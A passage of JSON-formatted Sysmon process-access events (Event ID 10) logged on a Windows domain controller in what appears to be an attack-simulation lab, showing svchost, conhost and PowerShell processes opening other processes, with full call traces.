C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:24.743","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:26","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:24","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5072,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:24.743\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:24.743","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:26","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:24","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5073,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:24.743\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:24.743","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:26","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:24","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5074,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:24.743\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:24.743","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:26","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:24","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5075,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:24.743\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:24.743","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:26","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:24","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5076,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:24.743\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:24.743","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:26","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:24","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5077,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:24.743\r\nSourceProcessGUID: {90617006-415F-5F2D-0000-001026810700}\r\nSourceProcessId: 5076\r\nSourceThreadId: 4964\r\nSourceImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetProcessGUID: {90617006-4168-5F2D-0000-0010FADB0700}\r\nTargetProcessId: 3728\r\nTargetImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nGrantedAccess: 0x1F3FFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+3364bd|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b3a5c|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b42a7|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b452d|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b3ed3|UNKNOWN(00007FF8EA7C3B23)","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:24.743","SourceProcessGUID":"{90617006-415F-5F2D-0000-001026810700}","SourceProcessId":"5076","SourceThreadId":"4964","SourceImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetProcessGUID":"{90617006-4168-5F2D-0000-0010FADB0700}","TargetProcessId":"3728","TargetImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","GrantedAccess":"0x1f3fff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+3364bd|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b3a5c|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b42a7|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b452d|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b3ed3|UNKNOWN(00007FF8EA7C3B23)","EventReceivedTime":"2020-08-07 11:56:26","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:24","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5078,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:24.743\r\nSourceProcessGUID: {90617006-415E-5F2D-0000-0010E0580700}\r\nSourceProcessId: 1276\r\nSourceThreadId: 4304\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-4168-5F2D-0000-0010FADB0700}\r\nTargetProcessId: 3728\r\nTargetImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:24.743","SourceProcessGUID":"{90617006-415E-5F2D-0000-0010E0580700}","SourceProcessId":"1276","SourceThreadId":"4304","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-4168-5F2D-0000-0010FADB0700}","TargetProcessId":"3728","TargetImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:26","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:24","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5079,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:24.759\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-4168-5F2D-0000-0010FADB0700}\r\nTargetProcessId: 3728\r\nTargetImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 